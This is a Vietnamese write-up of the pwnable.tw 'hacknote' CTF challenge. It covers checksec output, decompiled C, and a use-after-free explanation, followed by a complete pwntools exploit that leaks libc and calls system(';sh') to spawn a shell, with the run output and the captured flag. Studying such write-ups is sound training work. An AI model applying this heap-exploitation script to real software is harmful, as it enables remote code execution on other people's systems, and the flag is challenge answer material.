hacknote
Vulnerability: Chương trình không đặt null sau khi free, dẫn đến use-after-free.
Recon
Mitigation
$ pwn checksec hacknote
[*] '/home/hungnt/ctfs/pwnable.tw/hacknote/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)$ file hacknote
hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, strippedGLIBC Version
pwndbg> libc
libc version: 2.23
libc source link: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gzKhông có tcache, các cơ chế bảo vệ củchunka heap khá lỏng lẻo.
Code
main()
void main(void)
{
int choice;
int in_GS_OFFSET;
char buf [4];
undefined4 local_14;
undefined1 *puStack_c;
puStack_c = &stack0x00000004;
local_14 = *(undefined4 *)(in_GS_OFFSET + 0x14);
setvbuf(stdout,NULL,2,0);
setvbuf(stdin,NULL,2,0);
do
{
while( true )
{
while( true )
{
menu();
read(0,buf,4);
choice = atoi(buf);
if (choice != 2) break;
delete_note();
}
if (2 < choice) break;
if (choice == 1)
{
add_note();
}
else
{
invalid:
puts("Invalid choice");
}
}
if (choice != 3)
{
if (choice == 4)
{
/* WARNING: Subroutine does not return */
exit(0);
}
goto invalid;
}
print_note();
} while( true );
}add_note()
void add_note(void)
{
size_t note_size;
void *content;
int in_GS_OFFSET;
int note_index;
char buf [8];
int local_10;
Note *cur_note;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
if (total_notes < 6)
{
for (note_index = 0; note_index < 5; note_index = note_index + 1)
{
if (Notes[note_index] == NULL)
{
cur_note = malloc(8);
Notes[note_index] = cur_note;
if (Notes[note_index] == NULL)
{
puts("Alloca Error");
/* WARNING: Subroutine does not return */
exit(-1);
}
Notes[note_index]->func = print_content;
printf("Note size :");
read(0,buf,8);
note_size = atoi(buf);
cur_note = Notes[note_index];
content = malloc(note_size);
cur_note->content = content;
if (Notes[note_index]->content == NULL)
{
puts("Alloca Error");
/* WARNING: Subroutine does not return */
exit(-1);
}
printf("Content :");
read(0,Notes[note_index]->content,note_size);
puts("Success !");
total_notes = total_notes + 1;
break;
}
}
}
else
{
puts("Full");
}
if (local_10 != *(int *)(in_GS_OFFSET + 0x14))
{
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}delete_note()
void delete_note(void)
{
int index;
int in_GS_OFFSET;
char buf [4];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
printf("Index :");
read(0,buf,4);
index = atoi(buf);
if ((index < 0) || (total_notes <= index))
{
puts("Out of bound!");
/* WARNING: Subroutine does not return */
_exit(0);
}
if (Notes[index] != NULL)
{
free(Notes[index]->content);
free(Notes[index]);
puts("Success");
}
if (local_10 != *(int *)(in_GS_OFFSET + 0x14))
{
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}print_note()
void print_note(void)
{
int index;
int in_GS_OFFSET;
char buf [4];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
printf("Index :");
read(0,buf,4);
index = atoi(buf);
if ((index < 0) || (total_notes <= index))
{
puts("Out of bound!");
/* WARNING: Subroutine does not return */
_exit(0);
}
if (Notes[index] != NULL)
{
(*Notes[index]->func)(Notes[index]);
}
if (local_10 != *(int *)(in_GS_OFFSET + 0x14))
{
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}print_content()
void print_content(Note *note)
{
puts(note->content);
return;
}Solve
Vì sau khi free ko đc set null ở delete_note(), dẫn đến UAF:
if (Notes[index] != NULL)
{
free(Notes[index]->content);
free(Notes[index]);
puts("Success");
}Vì tư duy theo lối mòn và phức tạp hóa, mình mất bao thời gian đi theo hướng leak libc bằng cách free chunk vào unsorted bin, sau đó double free vào fastbin, căn chỉnh sao cho lấy được AAW để overwrite puts() GOT entry hoặc free hook overwrite nhưng khổ cái là mình chỉ tạo được tối đa 5 notes. Mình thiếu một lần tạo note nữa để đến được bước AAW cuối cùng. Cuối cùng thì mình cũng ko tài nào có được AAW trong 5 lần, và mình đã phải xem hint.
Hint rằng, chả cần phải double free, chả cần phải poison fastbin, chỉ cần UAF bình thường.
Mục tiêu của mình là làm sao thao túng được các attribute trong header Note struct, đó là con trỏ hàm và con trỏ đến content. Mình có thể làm vậy bằng cách:
- Tạo note 0 và 1 với content size > 0x8.
- Free note 0 rồi đến 1 -> Header của chunk 0 và 1 nằm trong fastbin entry 0x10.
- Bây giờ tạo note 2 với content size = 0x8 -> Header note 2 giờ chính là header của note 1, còn content của note 2 giờ chính là header của note 0.
- Vì mình có thể ghi vào content của note 2 -> Chỉnh sửa header của note 0 tùy ý.
Để leak libc, mình overwrite con trỏ hàm đến print_content() (vì libc đã ghi đè thành giá trị khác khi free), với content trỏ đến GOT entry bất kỳ. Lúc đầu mình overwrite con trỏ hàm đến plt của puts() rồi ngồi vò đầu mãi ko hiểu tại sao nó ko in ra địa chỉ libc. Đó là bởi vì puts() mong đợi tham số là một con trỏ đến chuỗi, nhưng chương trình lại truyền vào một con trỏ Note, vậy hàm print_content() mới hợp lý.
Tiếp tục để spawn shell, mình lại chỉnh sửa header của note 0, con trỏ hàm trỏ đến system(). Còn content là ;sh\0 bởi vì lý do như ở trên, lời gọi hàm nhận vào tham số là con trỏ đến Note, ko phải chuỗi. Làm vậy, lời gọi hàm sẽ là system(‘địa chỉ system()’;sh\0).
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("hacknote_patched", checksec=False)
libc = ELF("libc_32.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *0x0804893d
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10102
return remote(host, port)
p = conn()
def add_note(size, content):
slan(p, b'choice :', 1)
slan(p, b'size :', size)
sa(p, b'Content :', content)
def delete_note(index):
slan(p, b'choice :', 2)
slan(p, b'Index :', index)
def print_note(index):
slan(p, b'choice :', 3)
slan(p, b'Index :', index)
add_note(0x10, pad())
add_note(0x10, pad())
# fastbin dup
delete_note(0)
delete_note(1)
# leaking libc
print_content = 0x804862b
add_note(0x8, p32(print_content) + p32(exe.got['puts']))
print_note(0)
libc.address = leak_bytes(rn(p, 4), libc.symbols['puts'])
lg("libc base", libc.address)
delete_note(2)
add_note(0x8, p32(libc.symbols['system']) + b';sh\0')
print_note(0)
rr(p, 1)
ia(p)$ py solve.py
[+] Opening connection to chall.pwnable.tw on port 10102: Done
libc base -> 0xf7613000
[*] Switching to interactive mode
$ cd home
$ ls
hacknote
$ cd hacknote
$ ls
flag
hacknote
run.sh
$ cat flag
FLAG{Us3_aft3r_fl3333_in_h4ck_not3}